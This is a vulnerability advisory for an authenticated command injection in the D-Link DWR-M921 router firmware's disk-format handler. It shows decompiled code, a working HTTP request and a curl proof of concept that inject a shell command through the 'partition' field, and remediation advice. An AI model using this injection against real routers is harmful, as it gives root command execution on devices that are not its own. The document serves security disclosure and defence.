| Detail | Information |
|---|---|
| Vendor | D-Link |
| Product | DWR-M921 |
| Affected Version | Firmware V1.1.52 |
| Vulnerability Type | OS Command Injection (CWE-78) |
| Submitter | [LiuYijun / State Grid Corporation of China] |
| Affected Component | /boafrm/formDiskFormat (bin/boa) |
| Severity | High / Critical |
A vulnerability has been found in D-Link DWR-M921 firmware V1.1.52. It can be triggered through the route /boafrm/formDiskFormat. The manipulation of the argument partition leads to OS command injection. The attack is possible remotely after authentication.
Independence statement: In the
formDiskFormathandler (0x46E02C) thepartitionparameter is concatenated without quotes and without filtering intoumount/mke2fs/mountcommands executed viasystem(). A semicolon directly injects commands. This USB storage formatting handler was not covered by any previously published CVE.
The vulnerable handler is sub_46E02C at address 0x46E02C in /bin/boa.
- Vulnerable parameter:
partition(no quoting, no filtering);systype(used inmke2fs -t %s). - Authentication: Required (webuicookie session).
- Command templates:
umount /dev/%s >/dev/null 2>&1;mke2fs -t %s /dev/%s;mount -t ext4 /dev/%s /var/tmp/usb/%s— all viasystem(). - Injection method: Semicolon injection —
sdb;CMD;(no quoting). - Branch condition:
partitionnon-empty + apmib flow.
In sub_46E02C the partition value is used in four system() commands without sanitization:
v2 = sub_415F84(a1, "partition", ""); // user-controlled, no quoting
sprintf(v10, "umount /dev/%s >/dev/null 2>&1", v2); system(v10);
sprintf(v10, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2); system(v10);
sprintf(v10, "mount -t ext4 /dev/%s /var/tmp/usb/%s >/dev/null 2>&1", v2, v2); system(v10);partition=sdb;echo PWNED > /tmp/f; executes the injected command as root.
The firmware was successfully emulated using tools like FirmAE/FAT. The web interface is accessible, and the vulnerability can be triggered in the simulated environment.
- Remote command execution as root on the router after authentication.
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Cookie: webuicookie=<session>
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.1/diskformat.htm
partition=sdb%3Becho%20PWNED%3E%2Ftmp%2Fpwned.txt%3B&systype=ext4&submit_url=%2Fdiskformat.htmVerification (dynamically confirmed):
curl -s -b "webuicookie=<session>" -X POST "http://192.168.0.1/boafrm/formDiskFormat" \
--data-urlencode "partition=sdb;echo PWNED > /tmp/pwned.txt;" \
--data-urlencode "systype=ext4" --data-urlencode "submit_url=/diskformat.htm"
# -> HTTP 302 -> /diskformat.htm (handler executed)
cat /tmp/pwned.txt # -> PWNED (FirmAE verified)
- Apply a strict whitelist to
partition/systype: device name^sd[a-z][0-9]*$, filesystem type from an enum (ext4/fat32/ntfs). - Reject all shell metacharacters.
- Use C APIs (
umount2/mkfslibrary calls) instead ofsystem()string concatenation.